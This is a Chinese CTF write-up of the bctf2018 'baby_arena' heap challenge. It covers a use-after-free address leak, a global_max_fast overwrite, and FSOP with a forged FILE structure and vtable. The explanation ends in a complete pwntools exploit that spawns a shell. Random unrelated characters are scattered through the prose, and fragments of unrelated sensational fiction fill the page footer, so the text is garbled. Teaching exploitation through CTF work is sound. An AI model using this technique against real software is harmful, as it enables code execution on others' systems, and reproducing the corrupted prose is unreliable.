pwn萌新的再次體驗--bctf baby_arena

寫在前面

在pwn的泥潭里越陷越深,無法自拔局冰。本次的bctf中,遇到了一個題目灌危,算是我這個萌新的知識盲點康二,于是,總結(jié)一下勇蝙,紀(jì)念一下自己菜菜的小進步

題目

bctf2018的baby_arena沫勿,64位,也是比較簡單的一道題吧

漏洞

這個題,有一個任意地址寫产雹,位于login功能中诫惭,但是只能寫'admin'或者'clientele',而且之后的實踐中發(fā)現(xiàn)貌似只能寫'clientele':


看變量:


就是說接受16個字符的v3是可以到覆蓋到v4的。于是就可以任意寫了蔓挖,但是8個字符覆蓋剛好到v4夕土,于是后面的回車符被換成\x00被送到v1里,于是只能寫'clientele'了时甚。
還有就是這個題


free以后沒有清空堆的內(nèi)容隘弊,然后


這里我們申請剛free的堆塊,只向里面寫少量數(shù)據(jù)荒适,就能泄露fd了梨熙,于是就能得到地址了

思路

leak libc地址和heap_base地址

這個當(dāng)然很簡單了,就是直接申請堆刀诬,然后釋放咽扇,然后再次申請到那里,就可以讀到了:

create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))

大致就是這樣陕壹。

修改global_max_fast

了解過fastbin的童鞋都知道global_max_fast是規(guī)定fastbins的最大大小的质欲,而在得到一個fastbin的時候,為了構(gòu)造fastbin鏈糠馆,方便查找嘶伟,main_arena會存放fastbin鏈,main_arena存放fastbin的鏈時按照fastbin的大小計算位置又碌,所以九昧,如果我們申請的fastbin足夠大,就會從main_arena溢出出去毕匀,而main_arena下就有file結(jié)構(gòu)體之類比較重要的結(jié)構(gòu)體铸鹰,我們可以改這些結(jié)構(gòu)體的虛表地址,使得其在查虛表時皂岔,查到我們的堆中蹋笼,而我們在堆中布好假的虛表,就可以改變程序流躁垛。
但是這里題目還有一個限制:


我們最大只能申請5999的堆剖毯,但是這樣的話我們就無法溢出到stdout和stdin了,只能到stderr教馆,但是逊谋,stderr我一直觸發(fā)不了,真的是無語活玲,(吐槽一句涣狗,想觸發(fā)stderr的時候觸發(fā)不了谍婉,不想的時候全是error。镀钓。穗熬。),于是我換了另一種思路丁溅,也是剛好把file結(jié)構(gòu)體學(xué)一遍唤蔗,下面是原理和利用思路

FSOP

基礎(chǔ)知識知識

首先看源碼:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

這是FILE結(jié)構(gòu)體的內(nèi)容,F(xiàn)ILE結(jié)構(gòu)會通過_chain連接形成一個鏈表窟赏,鏈表頭部用全局變量_IO_list_all表示妓柜。
接下來看一個函數(shù)的源碼:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

我們看到如果運行到這里

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

就會調(diào)用_IO_OVERFLOW,就會調(diào)用vtable涯穷,也就是虛表棍掐。那么只要滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base我們的虛表中的_IO_OVERFLOW就會調(diào)用,而且程序是通過_IO_list_all來查找file結(jié)構(gòu)體的拷况。
什么時候會調(diào)用_IO_flush_all_lockp呢作煌?

1.libc執(zhí)行abort流程時
2.執(zhí)行exit函數(shù)時
3.執(zhí)行流從main函數(shù)返回時

這個觸發(fā)的條件就會簡單很多了。于是赚瘦,do itK谑摹!起意!

利用

首先鹰服,我們得改_IO_list_all,這個位置就在stderr的上面揽咕,只要知道libc的地址悲酷,我們就能得到_IO_list_all的地址,再通過main_arena的溢出心褐,就可以試這個指針指向chunk舔涎。
然后我們只要在chunk上布好滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base的file結(jié)構(gòu)體就好笼踩,
其實這個是比較簡單的逗爹。我們只要把file結(jié)構(gòu)體的內(nèi)容置0,然后我們使_IO_write_ptr為1嚎于,或者更大顾犹,開心就好翰撑。
但是,我們要考慮的一點是,我們修改后的_IO_list_all中的值是指向chunk的指針造垛,也就是說chunk的prev_size,size是在fakefile結(jié)構(gòu)體里的羞秤,當(dāng)然這個不會有什么大影響鞠抑,但是控淡,我當(dāng)時寫的時候,就忽略了這一點止潘,使得_IO_write_ptr和vtable都比應(yīng)在的位置高0x10掺炭。
于是,在有prev_size凭戴,size的條件下涧狮,chunk被我布成這個樣子了:

//prev_size,size
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

這個0x6020b0-0x18其實就是我們構(gòu)建的虛表么夫,這個地址是在login功能中可寫的者冤,(上面有提到),當(dāng)時我們v3溢出到v4賦值到任意地址档痪,v3本身的8個bit也是我們可以寫的涉枫,于是我把one_gadget寫在了v3中,如果找不到地址也可以布在堆里腐螟,都是可以的拜银。0x6020b0是v3的地址,而OVERFLOW在vtable的位置位于偏移0x18處遭垛,于是得到0x6020b0-0x18
這時如果我們exit尼桶,我們就可以getshell了

pwn!>庖恰泵督!

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a

def create(size,note):
    p.sendline('1')
    p.recvuntil('Pls Input your note size\n')
    p.sendline(str(size))
    p.recvuntil('Input your note\n')
    p.sendline(note)

def dele(num):
    p.sendline('2')
    p.recvuntil('Input id:\n')
    p.sendline(str(num))

def login(name):
    p.sendline('3')
    p.recvuntil('Please input your name\n')
    p.sendline(name)
    p.recvuntil('1.admin\n')
    #p.sendline(str(num))

#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))


fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。庶喜。小腊。。久窟。秩冈。
dele(3)

p.sendline('4')
print pidof(p)
p.interactive()

于是:


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市斥扛,隨后出現(xiàn)的幾起案子入问,更是在濱河造成了極大的恐慌,老刑警劉巖稀颁,帶你破解...
    沈念sama閱讀 222,729評論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件芬失,死亡現(xiàn)場離奇詭異,居然都是意外死亡匾灶,警方通過查閱死者的電腦和手機棱烂,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,226評論 3 399
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來阶女,“玉大人颊糜,你說我怎么就攤上這事哩治。” “怎么了衬鱼?”我有些...
    開封第一講書人閱讀 169,461評論 0 362
  • 文/不壞的土叔 我叫張陵锚扎,是天一觀的道長。 經(jīng)常有香客問我馁启,道長驾孔,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 60,135評論 1 300
  • 正文 為了忘掉前任惯疙,我火速辦了婚禮翠勉,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘霉颠。我一直安慰自己对碌,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 69,130評論 6 398
  • 文/花漫 我一把揭開白布蒿偎。 她就那樣靜靜地躺著朽们,像睡著了一般。 火紅的嫁衣襯著肌膚如雪诉位。 梳的紋絲不亂的頭發(fā)上骑脱,一...
    開封第一講書人閱讀 52,736評論 1 312
  • 那天,我揣著相機與錄音苍糠,去河邊找鬼叁丧。 笑死,一個胖子當(dāng)著我的面吹牛岳瞭,可吹牛的內(nèi)容都是我干的拥娄。 我是一名探鬼主播,決...
    沈念sama閱讀 41,179評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼瞳筏,長吁一口氣:“原來是場噩夢啊……” “哼稚瘾!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起姚炕,我...
    開封第一講書人閱讀 40,124評論 0 277
  • 序言:老撾萬榮一對情侶失蹤摊欠,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后钻心,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體凄硼,經(jīng)...
    沈念sama閱讀 46,657評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡铅协,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,723評論 3 342
  • 正文 我和宋清朗相戀三年捷沸,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片狐史。...
    茶點故事閱讀 40,872評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡痒给,死狀恐怖说墨,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情苍柏,我是刑警寧澤尼斧,帶...
    沈念sama閱讀 36,533評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站试吁,受9級特大地震影響棺棵,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜熄捍,卻給世界環(huán)境...
    茶點故事閱讀 42,213評論 3 336
  • 文/蒙蒙 一烛恤、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧余耽,春花似錦缚柏、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,700評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至袱耽,卻和暖如春杀餐,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背朱巨。 一陣腳步聲響...
    開封第一講書人閱讀 33,819評論 1 274
  • 我被黑心中介騙來泰國打工怜浅, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人蔬崩。 一個月前我還...
    沈念sama閱讀 49,304評論 3 379
  • 正文 我出身青樓恶座,卻偏偏與公主長得像,于是被迫代替她去往敵國和親沥阳。 傳聞我的和親對象是個殘疾皇子跨琳,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,876評論 2 361

推薦閱讀更多精彩內(nèi)容